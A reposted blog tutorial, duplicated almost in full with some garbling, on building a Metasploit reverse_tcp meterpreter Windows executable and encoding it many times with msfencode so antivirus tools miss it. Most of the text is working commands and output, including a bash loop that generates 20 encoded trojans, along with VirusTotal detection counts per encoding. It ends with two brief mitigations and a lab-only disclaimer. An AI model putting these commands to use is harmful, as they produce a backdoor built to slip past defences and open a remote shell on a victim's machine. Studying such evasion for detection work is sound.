meterpreter msfencode
시스템 2012. 3. 13. 16:28 |출처 : http://insidetrust.blogspot.com/2010/08/hacking-techniques-using-msfencode-to.html
techniques: Using msfencode to obscure a "trojan" meterpreter shellcode executable from Anti-virus tools
techniques: Using msfencode to obscure a "trojan" meterpreter shellcode executable from Anti-virus tools
Why are we doing this?
There are a lot of interesting and useful features to play with in the Metasploit meterpreter payload, especially with the extensible scripts.
While I was experimenting with meterpreter sessions, I found it easier and quicker to use a prebuilt Windows PE executeable of a reverse meterpreter payload.
I would recommend producing and using one of these in your testlab, as this enables you to simulate the pwnage of a vulnerable application on a fully patched system. This is helpful as it enables you to get familiar with meterpreter features and post-exploitation techniques; such as hashdumping, information gathering, further network enumeration, tunneling techniques, and secondary attacks - in an easily reproduceable way.
Please only use these methods for testing and educational purposes. I do not advocate breaking the law or attacking systems where you do not have permission.
Making testing easier
Producing a meterpreter executable payload is relatively easy, but I initially found that this executable was easily detected by the Anti-virus on my test Windows system. So we also discuss encoding this executeable multiple times using msfencode. In the following examples I am using Backtrack 4 R1.
Producing a meterpreter executeable
To produce an example executeable, you can use msfpayload as follows:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 X > /var/www/met.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=192.168.1.67,LPORT=4444
ls -l /var/www/met.exe
-rw-r--r-- 1 root root 73802 Aug 20 19:00 /var/www/met.exe
I tried downloading this to my test "victim" system, and is was immediately detected by the desktop Anti-virus tool, and quarantined as a "trojan" - understandable, but I want to do some testing without disabling my security features. (I don't want to get any real viruses or trojans ;o)
Encoding the payload
So, lets try encoding it using msfencode. We need to produce the payload in raw format, and then pipe this to msfencode which will produce the executeable:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R | ./msfencode -t exe > /var/www/metenc1.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
I downloaded this to my target system, but nope, still detected by my Anti-virus tool.
Further encoding
Let's get some help:
./msfencode -h
Usage: ./msfencode
OPTIONS:
-a The architecture to encode as
-b The list of characters to avoid: '\x00\xff'
-c The number of times to encode the data
-e The encoder to use
-h Help banner
-i Encode the contents of the supplied file path
-k Keep template working; run payload in new thread (use with -x)
-l List available encoders
-m Specifies an additional module search path
-n Dump encoder information
-o The output file
-p The platform to encode for
-s The maximum size of the encoded data
-t The format to display the encoded buffer with (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)
-x Specify an alternate win32 executable template
Using the -c option, msfencode enables you to repeat the encoding process recursively multiple times. Let's go crazy, encode it 21 times, and see what happens:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R | ./msfencode -c 21 -t exe > /var/www/metenc21.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
... truncated for your sanity ...
[*] x86/shikata_ga_nai succeeded with size 804 (iteration=21)
In my tests, this payload didn't get detected, it runs fine, and so I was able to use it for what I wanted in my test environment. Just needed to start msfconsole, setup a handler to catch the session, and then double-click the meterpreter executable on the "victim" desktop. Easy.
So how much encoding is required to get past the average AV-tool?
However, I was a bit curious about this (as I always am). I like to know how things work, and where the limitations are.
So how about building a whole batch of these babies, each with a different number of encoding iterations, and seeing which ones get detected and which don't. Time for a bash one-liner:
So, then I had a whole army of 20 encoded reverse meterpreter payload exes, so I put some of them to the test with an online scanner www.virustotal.com that can scan against 40+ Anti-virus tools.
Here are my results for some of the encodings, with the number of tools detecting our reverse meterpreter exe payload as a backdoor/trojan
Native exe payload = 14/42 AV tools detected it
That seems very low to me, as for some examples of the encoded ones:
1 encoding = 3/42 AV tools
2 encodings = 8/42 AV tools
5 encodings = 6/42 AV tools
10 encodings = 8/42 AV tools
15 encodings = 8/42 AV tools
18 encodings = 7/42 AV tools
20 encodings = 1/42 AV tools = AVG
The results seem very variable, but I guess this is to be expected, as each encoding is somewhat randomized, and my submissions were not previously known in the hash database.
For these tests, I declare AVG the winner! as it outperformed the other tools.
AhnLab-V3, AntiVir, Antiy-AVL, CAT-QuickHeal, ClamAV, Comodo, DrWeb, eSafe, eTrust-Vet, Fortinet, Jiangmin, Kaspersky, McAfee, McAfee-GW-Edition, Panda, PCTools, Prevx, Rising, Sophos, Sunbelt, SUPERAntiSpyware, Symantec, TheHacker, TrendMicro, TrendMicro-HouseCall, VBA32, ViRobot, VirusBuster... In these tests for some reason you FAIL!
So, it just goes to show, that for a known functionality payload, produced by a very well known tool (Metasploit) ; backdoor/trojan detection is suprisingly poor!
Mitigations
There are a lot of interesting and useful features to play with in the Metasploit meterpreter payload, especially with the extensible scripts.
While I was experimenting with meterpreter sessions, I found it easier and quicker to use a prebuilt Windows PE executeable of a reverse meterpreter payload.
I would recommend producing and using one of these in your testlab, as this enables you to simulate the pwnage of a vulnerable application on a fully patched system. This is helpful as it enables you to get familiar with meterpreter features and post-exploitation techniques; such as hashdumping, information gathering, further network enumeration, tunneling techniques, and secondary attacks - in an easily reproduceable way.
Please only use these methods for testing and educational purposes. I do not advocate breaking the law or attacking systems where you do not have permission.
Making testing easier
Producing a meterpreter executable payload is relatively easy, but I initially found that this executable was easily detected by the Anti-virus on my test Windows system. So we also discuss encoding this executeable multiple times using msfencode. In the following examples I am using Backtrack 4 R1.
Producing a meterpreter executeable
To produce an example executeable, you can use msfpayload as follows:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 X > /var/www/met.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=192.168.1.67,LPORT=4444
ls -l /var/www/met.exe
-rw-r--r-- 1 root root 73802 Aug 20 19:00 /var/www/met.exe
I tried downloading this to my test "victim" system, and is was immediately detected by the desktop Anti-virus tool, and quarantined as a "trojan" - understandable, but I want to do some testing without disabling my security features. (I don't want to get any real viruses or trojans ;o)
Encoding the payload
So, lets try encoding it using msfencode. We need to produce the payload in raw format, and then pipe this to msfencode which will produce the executeable:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R | ./msfencode -t exe > /var/www/metenc1.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
I downloaded this to my target system, but nope, still detected by my Anti-virus tool.
Further encoding
Let's get some help:
./msfencode -h
Usage: ./msfencode
OPTIONS:
-a
-b
-c
-e
-h Help banner
-i
-k Keep template working; run payload in new thread (use with -x)
-l List available encoders
-m
-n Dump encoder information
-o
-p
-s
-t
-x
Using the -c option, msfencode enables you to repeat the encoding process recursively multiple times. Let's go crazy, encode it 21 times, and see what happens:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R | ./msfencode -c 21 -t exe > /var/www/metenc21.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
... truncated for your sanity ...
[*] x86/shikata_ga_nai succeeded with size 804 (iteration=21)
In my tests, this payload didn't get detected, it runs fine, and so I was able to use it for what I wanted in my test environment. Just needed to start msfconsole, setup a handler to catch the session, and then double-click the meterpreter executable on the "victim" desktop. Easy.
So how much encoding is required to get past the average AV-tool?
However, I was a bit curious about this (as I always am). I like to know how things work, and where the limitations are.
So how about building a whole batch of these babies, each with a different number of encoding iterations, and seeing which ones get detected and which don't. Time for a bash one-liner:
for num in $(seq 1 20); do ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R | ./msfencode -c $num -t exe > /var/www/metenc$num.exe; done
So, then I had a whole army of 20 encoded reverse meterpreter payload exes, so I put some of them to the test with an online scanner www.virustotal.com that can scan against 40+ Anti-virus tools.
Here are my results for some of the encodings, with the number of tools detecting our reverse meterpreter exe payload as a backdoor/trojan
Native exe payload = 14/42 AV tools detected it
That seems very low to me, as for some examples of the encoded ones:
1 encoding = 3/42 AV tools
2 encodings = 8/42 AV tools
5 encodings = 6/42 AV tools
10 encodings = 8/42 AV tools
15 encodings = 8/42 AV tools
18 encodings = 7/42 AV tools
20 encodings = 1/42 AV tools = AVG
The results seem very variable, but I guess this is to be expected, as each encoding is somewhat randomized, and my submissions were not previously known in the hash database.
For these tests, I declare AVG the winner! as it outperformed the other tools.
AhnLab-V3, AntiVir, Antiy-AVL, CAT-QuickHeal, ClamAV, Comodo, DrWeb, eSafe, eTrust-Vet, Fortinet, Jiangmin, Kaspersky, McAfee, McAfee-GW-Edition, Panda, PCTools, Prevx, Rising, Sophos, Sunbelt, SUPERAntiSpyware, Symantec, TheHacker, TrendMicro, TrendMicro-HouseCall, VBA32, ViRobot, VirusBuster... In these tests for some reason you FAIL!
So, it just goes to show, that for a known functionality payload, produced by a very well known tool (Metasploit) ; backdoor/trojan detection is suprisingly poor!
Mitigations
- Never rely on Anti-virus alone - use defence in depth
- Content security solutions should block exe code in web and email traffic, even if it is not a known virus it could easily be custom malware